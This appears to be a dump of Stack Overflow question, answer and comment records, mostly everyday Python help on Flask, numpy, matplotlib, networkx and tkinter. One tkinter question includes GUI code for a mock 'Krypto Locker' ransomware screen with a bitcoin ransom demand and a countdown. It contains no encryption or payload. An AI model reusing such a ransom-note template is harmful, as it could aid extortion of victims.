has answer: http://stackoverflow.com/a/49596728
possible better answer: http://stackoverflow.com/a/49596728
type: AnsweredQuestion
tagged with: list
upvote count: 10
has answer: http://stackoverflow.com/a/49596755
score: 10
has answer: http://stackoverflow.com/a/49596941
tagged with: python
has title: Python splitting list to sublist at start and end keyword patterns
answer count: 6
has comment: http://stackoverflow.com/comment/86200444

http://stackoverflow.com/a/49443203
has body: You are missing a conversion: ROT_13 = "abcdefghijklmnopqrstuvwxyz" ROT_13_idx = {l: i for i, l in enumerate(ROT_13)} text_input = input("Enter your text: ") text_output = ''.join((ROT_13[(ROT_13_idx[i] + 13) % len(ROT_13)] for i in text_input)) print(text_output)
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49443061

http://stackoverflow.com/q/49456385
score: 14
upvote count: 14
has body: I am trying to run my Flask application from IPython. However, it fails with a SystemExit error. from flask import Flask app = Flask(__name__) @app.route('/') def index(): return 'Hello, World!' if __name__ == '__main__': app.run(debug=True) Running this with IPython shows the following error: SystemExit Traceback (most recent call last) &lt;ipython-input-35-bfd7690b11d8&gt; in &lt;module&gt;() 17 18 if __name__ == '__main__': ---&gt; 19 app.run(debug = True) /Users/ravinderbhatia/anaconda/lib/python2.7/site-packages/flask/app.pyc in run(self, host, port, debug, **options) 770 options.setdefault('use_debugger', self.debug) 771 try: --&gt; 772 run_simple(host, port, self, **options) 773 finally: 774 # reset the first request information if the development server /Users/ravinderbhatia/anaconda/lib/python2.7/site-packages/werkzeug/serving.py in run_simple(hostname, port, application, use_reloader, use_debugger, use_evalex, extra_files, reloader_interval, reloader_type, threaded, processes, request_handler, static_files, passthrough_errors, ssl_context) 687 from ._reloader import run_with_reloader 688 run_with_reloader(inner, extra_files, reloader_interval, --&gt; 689 reloader_type) 690 else: 691 inner() /Users/ravinderbhatia/anaconda/lib/python2.7/site-packages/werkzeug/_reloader.py in run_with_reloader(main_func, extra_files, interval, reloader_type) 248 reloader.run() 249 else: --&gt; 250 sys.exit(reloader.restart_with_reloader()) 251 except KeyboardInterrupt: 252 pass SystemExit: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/62946608
downvote count: 0
has title: Running Flask from IPython raises SystemExit
has answer: http://stackoverflow.com/a/49456604
has answer: http://stackoverflow.com/a/63803768
tagged with: jupyter
accepted answer: http://stackoverflow.com/a/49456604
tagged with: ipython
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/62533699
has answer: http://stackoverflow.com/a/62533699
tagged with: python
tagged with: flask
answer count: 4

http://stackoverflow.com/comment/86073191
type: QuestionComment
comment on: http://stackoverflow.com/q/49527271
has text: I have no access to the flaky server. It was donated to host CustomPiOS images. I thought of something I could do - upload and resume in 100MB chunks, that way I have a "check point" each time I try and upload. But not sure if the file would get removed.
score: 0
type: Comment

http://stackoverflow.com/a/49476213
type: Answer
has comment: http://stackoverflow.com/comment/85955202
answers question: http://stackoverflow.com/q/49476055
has comment: http://stackoverflow.com/comment/85955526
has comment: http://stackoverflow.com/comment/85955666
has comment: http://stackoverflow.com/comment/85955107
has comment: http://stackoverflow.com/comment/85955314
has comment: http://stackoverflow.com/comment/85955081
has comment: http://stackoverflow.com/comment/85955399
has comment: http://stackoverflow.com/comment/85955173
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85955457
has comment: http://stackoverflow.com/comment/85955567
upvote count: 1
has comment: http://stackoverflow.com/comment/85955684
has comment: http://stackoverflow.com/comment/85955145
has comment: http://stackoverflow.com/comment/85955291
has body: Assuming that you are using the python dev webserver (calling your script from command line), I would have to ask you if after the change, have you stopped the script and started again. If not, you should try do that. Another alternative is to do a small change in your script, as in below: from flask import Flask app = Flask(__name__) @app.route('/') def hello_world(): return 'Hello World' if __name__ == '__main__': app.run(debug=True) The debug flag should help your web server to detect changes in the code. I would also recommend that you go over this tutorial, to help you to decrease the learning curve: https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world Miguel is a reference on Flask community.
score: 1
accepted answer of: http://stackoverflow.com/q/49476055

http://stackoverflow.com/comment/86150484
has text: Personally, I would define the 2D quantile as the minimal convex (for tractability) area that includes x% of the data points. No idea if this definition is in any way correct or useful, and finding it is probably NP-hard.
type: QuestionComment
comment on: http://stackoverflow.com/q/49571240
score: 0
type: Comment

http://stackoverflow.com/comment/86024369
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49488458
type: Comment
has text: Where did you run this `php` application? Because if you ran the same in your AWS VPC then the server may have have access to redis because of VPC but no external access is enabled.

http://stackoverflow.com/q/49586376
linked to: http://stackoverflow.com/q/36568371
favorite count: 0
tagged with: plot
tagged with: matplotlib-3d
has title: Draw line over surface plot
accepted answer: http://stackoverflow.com/a/49601924
has answer: http://stackoverflow.com/a/78934731
linked to: http://stackoverflow.com/q/41699494
has answer: http://stackoverflow.com/a/49601924
has answer: http://stackoverflow.com/a/60325594
type: Question
linked to: http://stackoverflow.com/q/36399381
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86204621
has body: I want to be able to see lines (and points) that are ON THE 3D SURFACE on top of the surface (second image), not behind (first image). This is my 3D function: def f(x, y): return np.sin(2*x) * np.cos(2*y) X,Y,Z for the 3D-surface: x = np.linspace(-2, 2, 100) y = np.linspace(-2, 2, 100) X, Y = np.meshgrid(x, y) Z = f(X, Y) I've generated a vector of x points (xx) and of y points (yy), where zz = f(xx,yy) fig = plt.figure(figsize=(8,6)) ax = plt.axes(projection='3d') ax.scatter(xx, yy, zz, c='r', marker='o') #ax.plot(xx,yy,zz, c= 'r') ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap='viridis', edgecolor='none') As you can see, the points are behind the plot, the figure covers the points. I want to see the points over the plot. What should I do? I want to be able to see points and lines like this: EDIT: This is the way I've generated the points: for i in range(1,2000): [a, b] = np.random.rand(2,1)*np.sign(np.random.randn(2,1))*2 xx = np.append(xx, a) yy = np.append(yy, b) I've noticed that if I write zz = f(xx,yy) + epsilon I can see the points. If epsilon = 0, then the points are, mathematically, on the surface, and I can't see them clearly, like in the first image. If epsilon &gt; 0.05, I can see the points, but this means to move the points upper. I don't really like this solution. If a point is on a surface, the surface has priority, she surface appears to be over the point. I want my graphic to be the other way around.
has comment: http://stackoverflow.com/comment/86181374
linked to: http://stackoverflow.com/q/14824893
tagged with: python
has answer: http://stackoverflow.com/a/69421732
score: 11
upvote count: 11
answer count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/69421732
downvote count: 0
linked to: http://stackoverflow.com/q/37611023

http://stackoverflow.com/q/49488022
has body: In module 1: class Parent(object): def my_method(self): print 'Hello World' class Child(Parent): def __init__(self, name): self.name = name def my_method(self): # Do something super(Child, self).my_method() # Do something more import sys sys.modules[__name__] = Child(__name__) In module 2: import module1 module1.my_method() Loading module2 fails. Result: File "c:\archive2\stack\module2.py", line 3, in &lt;module&gt; module1.my_method() File "c:\archive2\stack\module1.py", line 12, in my_method super(Child, self).my_method() TypeError: super() argument 1 must be type, not None Looks like the value of variables Child and Parent is None when module2 is executed. A similar problem was asked in this question. Is there a generic solution for accessing method of parent class when child class is not available in global namespace?
answer count: 0
has comment: http://stackoverflow.com/comment/85979617
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85978832
has comment: http://stackoverflow.com/comment/85979695
linked to: http://stackoverflow.com/q/1765677
tagged with: sys
has comment: http://stackoverflow.com/comment/85979797
has title: Calling method of parent class when sys.modules[__name__] is altered (child class not available in global namespace)
has comment: http://stackoverflow.com/comment/85979551
has comment: http://stackoverflow.com/comment/85979447
has comment: http://stackoverflow.com/comment/85979464
score: 0
has comment: http://stackoverflow.com/comment/85979330
linked to: http://stackoverflow.com/q/29107470
tagged with: python
tagged with: method-resolution-order
has comment: http://stackoverflow.com/comment/85979222
has comment: http://stackoverflow.com/comment/85979443
type: Question

http://stackoverflow.com/comment/86157363
type: QuestionComment
has text: r is only for testing literals. You don't need it.
score: 0
comment on: http://stackoverflow.com/q/49574187
type: Comment

http://stackoverflow.com/a/49581672
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49581451
has body: You need to ensure your series is of numeric type before you attempt any numeric calculations. In this case, you can coerce non-numeric values to np.nan: df['door_age'] = pd.to_numeric(df['door_age'], errors='coerce')
type: Answer
accepted answer of: http://stackoverflow.com/q/49581451
type: AcceptedAnswer

http://stackoverflow.com/comment/86193725
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49592949
type: Comment
has text: I use gedit to write the script and then from Konsole (Ubuntu) I execute the script (python name.py).

http://stackoverflow.com/comment/119707742
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/55146535
has text: Incase you are using tf.keras from 2.X, then use `layer._batch_input_size` with starting underscore.

http://stackoverflow.com/comment/99842688
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/56635491
has text: This should be a comment, not an answer
type: Comment

http://stackoverflow.com/a/49461401
answers question: http://stackoverflow.com/q/49461385
type: Answer
upvote count: 1
has body: You should reference the method in the same class with self. class Square: def __init__(self, side): self.side = side self.perimeter = self.get_perimeter() def get_perimeter(self): return self.side * 4
score: 1
downvote count: 0

http://stackoverflow.com/q/49477424
has comment: http://stackoverflow.com/comment/85958464
has answer: http://stackoverflow.com/a/68363197
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85957587
tagged with: google-chrome-devtools
tagged with: python
linked to: http://stackoverflow.com/q/6509628
score: 4
upvote count: 4
has title: Python script using selenium to obtain Chrome Devtools content
linked to: http://stackoverflow.com/q/20401264
downvote count: 0
answer count: 1
tagged with: selenium
has body: I'm facing some difficulties while trying to get the content of 'Network' tab in Chrome Devtools using a python script. The script should use Selenium library in order to perform this action. I was wondering if this is possible, and if so, how would you do that? I've read some suggested solutions but none of them worked for me. chrome_path = r"C:\Python27\chromedriver_win32/chromedriver.exe" chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.add_argument("window-size=1200,1100") driver = webdriver.Chrome(executable_path=chrome_path,chrome_options=chrome_options) driver.get("https://www.container.io/login") elementUser = driver.find_element_by_id('username') elementPassword = driver.find_element_by_id('password') elementUser.send_keys(user) elementPassword.send_keys(password) What I want to capture on Network tab is : Query String Parameters access_token: XXXXXXXXX evnId: XxxXXx sortBy: xxXXxx
has comment: http://stackoverflow.com/comment/85958972
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85957715

http://stackoverflow.com/comment/85971009
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49483927
has text: In linux, `$` refers to the command prompt. At your end, just type `python3 kinematics.py`. Any error?
type: Comment

http://stackoverflow.com/comment/86082009
has text: So in general you want to avoid looping through the pixels in a numpy array as it's usually slow in Python---numpy operations will loop through in C in the backend---but with this many conditionals, my method loops through the array for each conditional (in this case, 7 times) which could be slower depending on image size. I'd test both approaches.
comment on: http://stackoverflow.com/a/49537472
type: Comment
score: 2
type: AnswerComment

http://stackoverflow.com/q/49441195
type: UnansweredQuestion
has title: Python: How to combine 2 numpy arrays
tagged with: python
tagged with: numpy
score: 0
linked to: http://stackoverflow.com/q/11144513
has comment: http://stackoverflow.com/comment/85885018
answer count: 1
has body: I want to combine two numpy arrays so they look like this the input is: a = np.arange(3).reshape(3) b = np.arange(3).reshape(3) and combine a and b so it looks like this: [[0 , 0], [0 , 1],[0 , 2],[1 , 0],[1 , 1],[1 , 2],[2 , 0],[2 , 1],[2 , 2]]
duplicate of: http://stackoverflow.com/q/11144513
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49441245

http://stackoverflow.com/comment/86134596
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49563183
type: Comment
has text: this returned nothing for me when ran

http://stackoverflow.com/comment/86336606
score: 0
type: Comment
type: QuestionComment
has text: Hi, yes. We downgrade python 36 to 35 and solve the issue but it comes with other problems... so we are still considering other possible solutions
comment on: http://stackoverflow.com/q/49460633

http://stackoverflow.com/q/49523724
has body: I am trying to convert this code snippet to Java for days now ef transformation_from_points(points1, points2): """ points1 and points2 are 68 X 2 matrices. Return an affine transformation [s * r | T] such that: sum ||s*r*p1,i + T - p2,i||^2 is minimized. output is a 3x3 matrix. """ # Solve the procrustes problem by subtracting centroids, scaling by the # standard deviation, and then using the SVD to calculate the rotation. # print("point1 Type = {0}".format(type(points1))) # print("point2 Type = {0}".format(type(points2))) points1 = points1.astype(np.float64) points2 = points2.astype(np.float64) # print("point1 = {0}".format(points1)) # print("point2 = {0}".format(points2)) c1 = np.mean(points1, axis=0) c2 = np.mean(points2, axis=0) # print("SCALAR ", c1, c2) #print("c1 = {0}".format(c1)) # print("c2 = {0}".format(c1)) points1 -= c1 points2 -= c2 # # print("AFTER SUBTRACTION ", points1) # print("AFTER SUBTRACTION ", points2) s1 = np.std(points1) s2 = np.std(points2) # # print("AFTER STANDARD DEVIATION ", s1) # print("AFTER STANDARD DEVIATION", s2) points1 /= s1 points2 /= s2 # print("AFTER DIVISION ", points1) # print("AFTER DIVISION ", points2) # print("Points1.T = {0}".format(points1.T)) # print("Points2.T = {0}".format(points2.T)) u, s, vt = np.linalg.svd(points1.T * points2) print("POINT 1 ", points1.shape) print("POINT 1 TRANSPOSE ", (points1.T).shape) print("POINT 2 ", points2.shape) print("POINT 1 TRANS POINT 2 ", (points1.T * points2).shape) # # print("POINT 3 ", points1.shape) # print("POINT 3 ", type(points1)) # The r we seek is in fact the transpose of the one given by u * vt. This # is because the above formulation assumes the matrix goes on the right # (with row vectors) where as our solution requires the matrix to be on the # left (with column vectors). r = (u * vt).T return np.vstack([np.hstack(((s2 / s1) * r, c2.T - (s2 / s1) * r * c1.T)), np.matrix([0., 0., 1.])]) this is how far I have gotten I have not been able to perform the Matrix multiplicatio…
tagged with: java
has comment: http://stackoverflow.com/comment/86101277
type: Question
tagged with: opencv
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86101317
tagged with: android
tagged with: python
has comment: http://stackoverflow.com/comment/86053546
has comment: http://stackoverflow.com/comment/86101398
has comment: http://stackoverflow.com/comment/86099659
score: 0
has comment: http://stackoverflow.com/comment/86099009
has title: Convert Python to Java Opencv
answer count: 0

http://stackoverflow.com/a/49559036
has body: There are many ways to align html elements like this. Here is a simple way. Wrap both elements in their own div and use css to set the divs to display: inline-block and then give a fixed or percentage width. Let me know if this helps. For a working example check this jsfiddle: https://jsfiddle.net/35fy20Ls/4/ {% block content %} {% endblock %}
type: Answer
answers question: http://stackoverflow.com/q/49542621
score: 0

continue
tags question: http://stackoverflow.com/q/49461886
tags question: http://stackoverflow.com/q/49584180
type: Tag
tag name: continue

http://stackoverflow.com/a/49464787
has body: You need to first find the index of search_value in the list, which can be done with the .index method. Then, you can use the .insert method to insert the value at the position after that (the index +1). However, we need to consider the case where search_value is not in lst. For this, we simply use a try...except to catach the ValueError for when the .index fails. And, in this case, we want to either append to lst, or .insert at the end; either works. def insert_after(lst, search_value, value): try: lst.insert(lst.index(search_value)+1, value) except ValueError: lst.append(search_value) #or: lst.insert(len(lst)-1, value) and a test: &gt;&gt;&gt; l = [4, 2, 6, 7, 8, 1] &gt;&gt;&gt; insert_after(l, 7, 5) &gt;&gt;&gt; l [4, 2, 6, 7, 5, 8, 1] why didn't your method work? If we look closely at your main insertion line: list1.insert(search_value+1,value) we can see that your logic is slightly off. The .insert method takes an index and a value. Here, you are passing search_value+1 as the index even though this is really just the value. So hopefully you can see from my code, that using the .index method is the right way to go since it gives us the index of that value - allowing us to use .insert correctly. what if you don't want to use .index? So, yes, you could use a for-loop, but instead of iterating over the terms as you are, you really want to be iterating over the values and the indexes. This can be achieved using enumerate(). So, I will let you put this in a function by yourself since it is likely you will just end up using the .index method, but the basic idea would be something along the lines of: for i, e in enumerate(lst): if e == search_value: lst.insert(i+1, value)
has comment: http://stackoverflow.com/comment/85932534
downvote count: 0
score: 5
answers question: http://stackoverflow.com/q/49464719
upvote count: 5
has comment: http://stackoverflow.com/comment/85932547
type: Answer

http://stackoverflow.com/comment/86126426
type: QuestionComment
comment on: http://stackoverflow.com/q/49558133
has text: https://docs.python.org/2/library/multiprocessing.html#multiprocessing.Process `mp.Process` returns a Process object, not an iterable. I think you're looking to use `Pipe`, but I'm not well versed in MP.
score: 0
type: Comment

http://stackoverflow.com/q/49481255
type: UnansweredQuestion
score: -4
has comment: http://stackoverflow.com/comment/85965562
has title: how to loop python code
has answer: http://stackoverflow.com/a/49481301
downvote count: 4
answer count: 3
has body: I made the beginning of a basic text adventure game, and I want it to loop whenever you die, but any examples of code I see aren't working, and thorugh research i still cant find something that could work. print("A tale of time version 0.0.1. by Tylan Merriam") print("you awaken, the room is dark and you cannot see. the sheets on your bed are damp, and you hear a faint dripping sound.") ch0pg1 = input('&gt;: ') if ch0pg1 == 'turn on light': print("you flip the light on, it turns out the dripping was from a leaky pipe above you. you see a dresser(outisde of bed) a chair with something glinting on it(outside of bed) and a window(outisde of bed)") ch1p1 = input('&gt;: ') if ch1p1 == 'stand': print('you stand up, the game isnt finished so this is all there is, try saying stand at the first choice or anything else') else: print('sorry, but i have no fricking clue what that means') elif ch0pg1 == 'stand': print('since you cannot see, you bump your head on a brick and collapse. as you think of your last words you realize the only thing that comes to mind is wushtub.') diemessage = input('&gt;: ') if diemessage == 'lol': print('i agree, now shut up, your dead') else: print('shut it, your dead') else: print('I have no clue what that means,')
has answer: http://stackoverflow.com/a/49481556
favorite count: 0
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/49481489
tagged with: python

http://stackoverflow.com/comment/85956920
comment on: http://stackoverflow.com/a/49476922
type: Comment
type: AnswerComment
has text: How? I think only database level function can help on this. My actual code is inside a Subquery, which is inside a Prefetch. :)
score: 1

http://stackoverflow.com/comment/86069573
comment on: http://stackoverflow.com/q/49527868
score: 0
type: Comment
type: QuestionComment
has text: Nice new trick, thanks! However, `mode` is there, and it prevents using consequent rows: some rows in-between are ignored as they do not introduce mode change, plus mode = NULL are ignored as well.

http://stackoverflow.com/a/49599211
score: 2
type: Answer
has body: jpp's way is probably better, because you get yield and ID all at once. However, if you want to keep your structure, you can do it like this: Cow_id_list = [] Herd_Size = int(input("Enter the size of the herd.")) for x in range(Herd_Size): Cow_id = int(input("Enter a unique 3 digit ID tag for cow")) Cow_id_list.append(Cow_id) print("Initiating yield entry...") d = {} for i in Cow_id_list: y = float(input("Enter yielf for cow {}: ".format(i))) d[i] = y What is going on here is that you initiate d as an empty dictionary, then iterate through your cow IDs, get the yield one by one, and then add a key for each cow with the corresponding yield as a value to the dictionary d.
upvote count: 2
answers question: http://stackoverflow.com/q/49599075
downvote count: 0

http://stackoverflow.com/q/49562458
has body: I have two classes inside which i have one function which prints counting of number. Inside both classes i am using while True. TRIAL 1:- first.py - class first: count = 0 def firstm(self): while True: print("First Class Method : ",self.count) second.py - class second: count = 0 def secondm(self): while True: print("Second Class Method : ",self.count) run.py - from first import first from second import second class run: def runmethod(self): while True: first().firstm() second().secondm() run().runmethod() Output - First Class : 0 First Class : 1 First Class : 2 First Class : 3 First Class : 4 First Class : 5 First Class : 6 First Class : 7 First Class : 8 First Class : 9 First Class : 0 First Class : 1 First Class : 2 First Class : 3 First Class : 4 First Class : 5 First Class : 6 First Class : 7 First Class : 8 First Class : 9 First Class : 0 First Class : 1 First Class : 2 First Class : 3 First Class : 4 First Class : 5 Here it keep on repeating the first class method only. In the above code the program only runs for the first class firstm method. It won't goto next class. Trial 2 :- first.py - class first: count = 0 @classmethod def firstm(self): for i in range(0,10): print("First Class Method : ",self.count) second.py - class second: @classmethod def secondm(self): for i in range(0,10): print("Second Class Method : ",i) run.py- from first import first from second import second class run: def runmethod(self): while True: first.firstm() second.secondm() run().runmethod() Output - First Class : 0 First Class : 1 First Class : 2 First Class : 3 First Class : 4 First Class : 5 First Class : 6 First Class : 7 First Class : 8 First Class : 9 Second Class : 0 Second Class : 1 Second Class : 2 Second Class : 3 Second Class : 4 Second Class : 5 Second Class : 6 Second Class : 7 Second Class : 8 Second Class : 9 Third Class : 0 Third Class : 1 Third Class : 2 Third Class : 3 Third Class : 4 Third Class : 5 Third Class : 6 Third Class : 7 Third Class : 8 Third Class : 9 Fou…
has comment: http://stackoverflow.com/comment/86134081
has comment: http://stackoverflow.com/comment/86133454
has comment: http://stackoverflow.com/comment/86133017
favorite count: 0
has comment: http://stackoverflow.com/comment/86133086
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86133312
has comment: http://stackoverflow.com/comment/86133373
has comment: http://stackoverflow.com/comment/86133486
has comment: http://stackoverflow.com/comment/86133540
has comment: http://stackoverflow.com/comment/86133436
has comment: http://stackoverflow.com/comment/86132928
score: -2
has answer: http://stackoverflow.com/a/49563855
has comment: http://stackoverflow.com/comment/86133381
tagged with: python
has comment: http://stackoverflow.com/comment/86133019
has comment: http://stackoverflow.com/comment/86132959
tagged with: class
has comment: http://stackoverflow.com/comment/86133630
has answer: http://stackoverflow.com/a/49703227
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86133400
has comment: http://stackoverflow.com/comment/86132965
has title: Handle while loop in different classes
upvote count: 0
accepted answer: http://stackoverflow.com/a/49703227
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/86134117
downvote count: 2
answer count: 3
tagged with: while-loop
has answer: http://stackoverflow.com/a/49562706
possible better answer: http://stackoverflow.com/a/49562706
has comment: http://stackoverflow.com/comment/86135641
has comment: http://stackoverflow.com/comment/86133507
has comment: http://stackoverflow.com/comment/86133579

http://stackoverflow.com/comment/86164886
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49578626
type: AnswerComment
has text: @user2357112 that's a good point, thanks. Your comment really drives it home -- this shouldn't be done if it introduces complications like that.

http://stackoverflow.com/a/49530110
has comment: http://stackoverflow.com/comment/86094881
downvote count: 0
upvote count: 1
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86152299
answers question: http://stackoverflow.com/q/49528348
has body: Maybe posting a piece of code could help, but have you tried using a dataset ? You could sequentially run through data efficiently with it. http://pytorch.org/docs/master/data.html#torch.utils.data.TensorDataset

http://stackoverflow.com/a/49459419
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49459396
has comment: http://stackoverflow.com/comment/85922006
answers question: http://stackoverflow.com/q/49459396
upvote count: 5
score: 5
type: Answer
has comment: http://stackoverflow.com/comment/85921781
has comment: http://stackoverflow.com/comment/136034022
has body: Add the attribute enctype='multipart/form-data' to the form tag. As this attribute enforces the proper HTTP request handling of the form.

http://stackoverflow.com/q/49533256
has comment: http://stackoverflow.com/comment/86074209
has comment: http://stackoverflow.com/comment/86072882
has answer: http://stackoverflow.com/a/49533502
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49533502
type: AnsweredQuestion
has body: I am new to django. I want to create a library using django which i can use in multiple projects. This library when imported must must provide functions which can be used in other projects. I have read the documentation of django but according to it the way to interact with library created using django is via urls. How to expose the functions of my library which can be used in other projects? Eg. If I create a library say, calculator, I want to provide functions like add, subtract. Thanks.
possible better answer: http://stackoverflow.com/a/49533537
score: 1
has answer: http://stackoverflow.com/a/49533537
tagged with: python
has comment: http://stackoverflow.com/comment/86073432
has comment: http://stackoverflow.com/comment/86074907
has comment: http://stackoverflow.com/comment/86074449
has title: creating re-usable django library
answer count: 2
downvote count: 0
upvote count: 1
tagged with: package
tagged with: django

http://stackoverflow.com/comment/137113260
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/57021376
has text: @ShadowRanger : I am sorry but it obviously works. At least PVM says so. If you do not find it suitable doesn't mean that nobody does. Thanks for pointing out deficiencies of tee(). Whether creating a list each time or my iterator object is faster should be timed though. Memory wise, also can be tricky as Python's internal optimizations can surprise you at times. As soon as you are done using the iterator you delete it, and memory will be released. What is interesting here is the concept and the idea, and you should think more outside the box and do something to activate your creativity.

http://stackoverflow.com/comment/85924472
type: Comment
type: QuestionComment
score: 0
has text: It is included in case of a non invertible matrix. It does not affect the answer in any way
comment on: http://stackoverflow.com/q/49455647

http://stackoverflow.com/comment/86879615
comment on: http://stackoverflow.com/a/49931632
score: 0
has text: The questioner has clearly mentioned that he/she is trying to detect price labels text which are always clearly preprocessed in the shown format.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49477563
tagged with: tkinter-canvas
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49624536
has comment: http://stackoverflow.com/comment/85959997
has comment: http://stackoverflow.com/comment/85960128
has answer: http://stackoverflow.com/a/49624536
tagged with: python
possible better answer: http://stackoverflow.com/a/49478747
has body: I am making my first GUI just for fun, and was wondering if it's possible, and if so how to remove the greyish background from around my canvases. I am also aware the code is very messy; this is my first time doing anything with Tkinter. Also just to clarify the project itself is 100% hypothetical and I have no intention whatsoever to use it for any malicious purposes. import tkinter as tk canvas_width = 400 canvas_height = 20 colours = ("#476042", "yellow") box=[] #---- Main Window ---- window = tk.Tk() window.title("Krypto Locker V1.0") window.geometry("400x400") window.resizable(width=True, height=True) #--- Background ----- C = tk.Canvas(window, bg="blue", height=250, width=300) filename = tk.PhotoImage(file = "C:\\Users\\lauchlan\\Desktop\\Programing\\project\\resources\\image.png") background_label = tk.Label(window, image=filename) background_label.place(x=0, y=0, relwidth=1, relheight=1) C.pack() #--------------------- #--- Functions ----- def countdown(count): # change text in label label['text'] = count if count &gt; 0: # call countdown again after 1000ms (1s) window.after(1000, countdown, count-1) #--- Main Interface ---- #-- Text Widget 1 -- w = tk.Canvas(window, width=canvas_width, height=canvas_height) w.pack() w.create_text(canvas_width / 2, canvas_height / 2, text="Welcome to Krytpto Locker V1.0 ") w.place(x=10, y=20,) #-- Text Widget 2 -- e = tk.Canvas(window, width=500, height=20) e.pack() e.create_text(canvas_width / 2, canvas_height / 2, text="All your personal files will soon be encrypted! ") e.place(x=10, y=40,) #-- Text Widget 3 -- h = tk.Canvas(window, width=500, height=500) h.pack() h.create_text( 195 / 1, 40 / 1, text="‌‌ ‌‌ Hello, you're computer has been infected by Krypto Locker all your \npersonal files will soon be encrypted and deleted in order to prevent this \n‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ you will be required to send $300 to a secure bitcoin wallet\n ‌‌ ‌‌ ‌‌ ‌‌ you will then recieve an email containing a recovery password") h.place(x=10…
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49478747
tagged with: tkinter
answer count: 2
has title: How to remove the grey background from canvases in tkinter

http://stackoverflow.com/a/49538770
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49537837
type: AcceptedAnswer
has body: You have an invisible character in your code. Use a hex editor or hex dumper to see it: $ echo 'open("C:\\' | hd 00000000 6f 70 65 6e 28 22 e2 80 aa 43 3a 5c 5c 0a |open("...C:\\.| The character in question is U+202a, the left-to-right embedding character, encoded as UTF-8 as e2 80 aa. Remove the character from your source code by deleting ("C: and retyping it.
accepted answer of: http://stackoverflow.com/q/49537837
type: Answer
downvote count: 0

http://stackoverflow.com/q/49571510
favorite count: 0
tagged with: networkx
type: AnsweredQuestion
tagged with: python
has body: I would like to calculate the average shortest path for nodes with the same label in a labeled graph. For instance, red is labeled A and black is labeled B. G = nx.DiGraph() G.add_node('A', label = 'A') G.add_node('B', label = 'B') G.add_node('C', label = 'A') G.add_node('D', label = 'B') G.add_edges_from([('A', 'B'), ('B', 'C'), ('C', 'D'), ('D', 'A')]) H = G.to_undirected() Now i just want to calculate the average shortest path for A, based on this V_m are the vertices with the same label. n_{i,j} is the number of shortest path and d_{i,j} is the geodesic distance. I would like to use Networkx to implement that. Starting to use the node attributes for the labeling. I can read out the nodes with their labels with graph_labels = (nx.get_node_attributes(G, 'label')) Now i would just like to keep the key/value pair where the label is e.g. "A". So I can focus on the nodes with the same label. I hope that it is not to abstract but do you have any idea? Thanks in advance.
type: Question
tagged with: shortest-path
has answer: http://stackoverflow.com/a/49573620
accepted answer: http://stackoverflow.com/a/49573620
upvote count: 1
score: 1
answer count: 1
downvote count: 0
has title: Networkx Average shortest path with labels

http://stackoverflow.com/comment/86101098
has text: @jhpratt it's written in the orange parts that are numbered
comment on: http://stackoverflow.com/q/49485797
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86079255
type: AnswerComment
has text: E(la) and E(lv) are elastance functions of left ventricul and left atrium. So in order to model a heart that is functioning in a pulsatile manner an activation function; e(t) is used. I only gave activation function of left ventricul so cont. line graph is ours.I understood adding 1 to equations and it worked. The first condition of the piecewise doesn't seem correct for that graph. When i equate that part to 0 , graphs become more similar. But interesting thing is i took that formula from an article.
type: Comment
comment on: http://stackoverflow.com/a/49535717
score: 0

http://stackoverflow.com/comment/85923729
comment on: http://stackoverflow.com/a/49460237
has text: sorry, I didn't notice you'd like to generate one series for each n due to my careless. But it will not be hard, just wrap it into another loop. So updated the answer to above codes.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/49489166
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/14642130
type: UnansweredQuestion
has title: Using a response from server to output in html
has answer: http://stackoverflow.com/a/49489357
tagged with: http://stackoverflow.com/tag/html
tagged with: python
downvote count: 6
has body: I am totally new to HTML and I would like to know how tu use json returns from a server to output in an html file. More specifically, I have a python script that when executed gives me as a response a json object. I would like to print it out on a html file through my browser. How can I do this? Do I write my html to somehow launch my script and capture the object?
upvote count: 0
tagged with: http://stackoverflow.com/tag/json
duplicate of: http://stackoverflow.com/q/14642130
answer count: 1
score: -6

http://stackoverflow.com/comment/86093402
type: AnswerComment
comment on: http://stackoverflow.com/a/49542820
score: 0
type: Comment
has text: No! I dont want dimensions in the first array. After your descision it will have shape (700, 256, 256, 3). But I want (2800, 256, 256, 3) where only first 700 rows contains data. @LizardCode

http://stackoverflow.com/comment/85965872
